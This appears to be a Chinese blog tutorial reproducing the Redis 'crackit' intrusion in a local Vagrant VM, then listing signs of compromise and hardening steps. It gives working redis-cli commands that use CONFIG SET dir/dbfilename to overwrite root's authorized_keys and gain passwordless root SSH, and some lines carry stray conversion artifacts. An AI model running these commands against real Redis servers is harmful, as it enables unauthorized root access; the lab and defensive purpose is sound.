最近爆出來的 Redis crackit 漏洞一直沸沸揚揚,趁着週末的時間研究了一下。研究之餘難免感嘆,這個漏洞簡單粗暴,甚至能夠說沒有任何技術含量,卻能對全球網絡形成癱瘓之勢,一晚上之間幾萬臺服務器接連淪陷。縱觀這個漏洞的各個關鍵點,幾乎都是因爲配置疏忽致使的,可見運維同窗仍是任重而道遠啊。redis
1、準備工做ubuntu
網絡入侵是違法行爲,請在虛擬環境下進行本次實驗!緩存
爲了在本地進行實驗,首先,咱們須要有一臺安裝了 redis-server 的虛擬機,咱們使用 Vagrant 自帶的 hashicorp/precise32 鏡像,虛擬機啓動好以後,使用 vagrant ssh 鏈接。服務器
aneasystone@little-stone:~/vagrant$ vagrant init hashicorp/precise32
aneasystone@little-stone:~/vagrant$ vagrant up
aneasystone@little-stone:~/vagrant$ vagrant ssh
因爲新的鏡像中默認並無 redis-server ,咱們先要安裝並啓動它。這裏要注意,vagrant 默認使用的用戶名是 vagrant 用戶,而不是 root 用戶,須要使用下面的命令,切換到 root 用戶,並使用 passwd 命令給 root 用戶設置一個密碼:網絡
vagrant@precise32:~$ sudo su -
root@precise32:~# passwd
root 用戶設置好以後,安裝 redis-server:運維
root@precise32:~# apt-get install redis-server
運行 redis-server:dom
root@precise32:~# redis-server /etc/redis/redis.conf
至此,準備工做就緒,確保實驗環境的 redis-server 已啓動,而且是以 root 用戶運行的:ssh
2、折騰下 vagrant sshide
這裏還有一點要注意,由於剛剛是使用 vagrant ssh 鏈接的虛擬機,和真實環境下使用 ssh 命令仍是有所區別,爲了使用 ssh 鏈接虛擬機,須要弄明白 vagrant ssh 的實現原理。咱們經過 vagrant ssh-config 命令查看下 vagrant ssh 配置:ui
aneasystone@little-stone:~/vagrant$ vagrant ssh-config
Host default
HostName 127.0.0.1
User vagrant
Port 2222
UserKnownHostsFile /dev/null
StrictHostKeyChecking no
PasswordAuthentication no
IdentityFile /home/aneasystone/vagrant/.vagrant/machines/default/virtualbox/private_key
IdentitiesOnly yes
LogLevel FATAL
咱們再看下 ssh 命令的 man 手冊:
看看 vagrant 的這個配置,和 ssh 的 -o 選項徹底同樣。實際上,vagrant 正是經過 ssh 的 -o 或者 -F 來設置參數的。
咱們將 vagrant ssh-config 導入到配置文件中:
aneasystone@little-stone:~/vagrant$ vagrant ssh-config > vagrant-ssh
而後經過 ssh 的 -F 參數,來鏈接虛擬機:
aneasystone@little-stone:~/vagrant$ ssh -F vagrant-ssh root@default
或者使用 -o 指定參數:
aneasystone@little-stone:~/vagrant$ ssh -o HostName=127.0.0.1 -o Port=2222 root@default
這個時候,咱們就能夠經過 ssh 來鏈接虛擬機了。這個步驟對於咱們最後的成功入侵相當重要。
3、還原漏洞現場
作了這麼多的鋪墊,實際上真正的入侵只有下面幾步:
3.1 生成 rsa 公鑰和私鑰
首先經過 ssh-keygen -t rsa 命令生成一對密鑰文件(id_rsa 和 id_rsa.pub)
aneasystone@little-stone:~/vagrant$ ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/home/aneasystone/.ssh/id_rsa): ./id_rsa
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in ./id_rsa.
Your public key has been saved in ./id_rsa.pub.
The key fingerprint is:
SHA256:7Gak3RoiBuoUBceedJxMw8YTFF2n52aiS5MgTFl+tNg aneasystone@little-stone
The key's randomart image is:
+---[RSA 2048]----+
| ...BB=... . |
| oo+X=.. o |
| o++o.E . . |
| +o .. o |
| ..o . S. + |
| .... .=o.+ |
|.. o o=* . |
|o . ..+oo |
| . .. |
+----[SHA256]-----+
3.2 給公鑰文件加上換行
因爲生成的公鑰文件只有一行,咱們在先後加上幾個空行。
aneasystone@little-stone:~/vagrant$ (echo -e "nn"; cat id_rsa.pub; echo -e "nn") > foo
3.3 將公鑰寫入 redis
經過聯合 cat 和 redis-cli 的 -x 參數將公鑰文件寫到對方 redis 緩存裏。這個地方要注意,若是對方的 redis 緩存不爲空,須要使用 flushall 命令清空緩存。
請確保緩存中沒有重要數據,清空以前請慎重!
aneasystone@little-stone:~/vagrant$ cat foo | redis-cli -h default -x set crackit
3.4 將公鑰保存到對方的 /root/.ssh 目錄
而後是攻擊最後一步,也是最重要的一步!將公鑰保存到對方的 .ssh 目錄的 authorized_keys 文件!
這裏假設了 redis-server 是以 root 身份運行的,而且對方機器上存在 /root/.ssh 目錄。若是不是以 root 身份運行的,這裏就須要猜用戶名了。
$ redis-cli -h default
$ 127.0.0.1:6379> config set dir /root/.ssh/
OK
$ 127.0.0.1:6379> config get dir
1) "dir"
2) "/root/.ssh"
$ 127.0.0.1:6379> config set dbfilename authorized_keys
OK
$ 127.0.0.1:6379> save
OK
3.5 驗收
若是一切順利,對方服務器上的公鑰文件已經被成功篡改了。那麼使用咱們剛剛建立的私鑰(使用 ssh 的 -i 選項),能夠無需密碼便可鏈接對方機器:
aneasystone@little-stone:~/vagrant$ ssh -o HostName=127.0.0.1 -o Port=2222 -i id_rsa root@default
Welcome to Ubuntu 12.04.5 LTS (GNU/Linux 3.2.0-23-generic-pae i686)
Documentation: https://help.ubuntu.com/
New release '14.04.3 LTS' available.
Run 'do-release-upgrade' to upgrade to it.
Welcome to your Vagrant-built virtual machine.
Last login: Sun Nov 22 06:14:03 2015 from 10.0.2.2
root@precise32:~#
3、判斷本身有沒有中槍
若是出現如下狀況,則說明頗有可能你已經中槍:
緩存被莫名清空
緩存中多了一個 crackit (或其餘相似的)鍵
使用 redis 的 config get dir 命令檢查是否指向了 /root/.ssh
/.ssh/authorized_keys 文件有被篡改的痕跡
服務器上運行着不明進程
4、如何修復漏洞
縱觀整個攻擊流程,之因此很順利,都是由於 redis-server 的默認配置有着諸多不足,而運維同窗爲了簡單,都直接使用了默認配置。
修改 redis 的 bind 參數,不要 bind 0.0.0.0,讓 redis 服務只能內網訪問修改 redis 的 requirepass 參數,訪問 redis 增長密碼認證修改 redis 的 port 參數,不要使用默認的 6379 端口號修改 redis 的 rename-command 參數,將 CONFIG 設置爲 "" ,也就是禁用 CONFIG 命令以非 root 用戶運行 redis 服務升級最近版 redis,(最新版的 redis 已經部分修復了該問題,默認 bind 127.0.0.1,並以 redis 用戶運行的)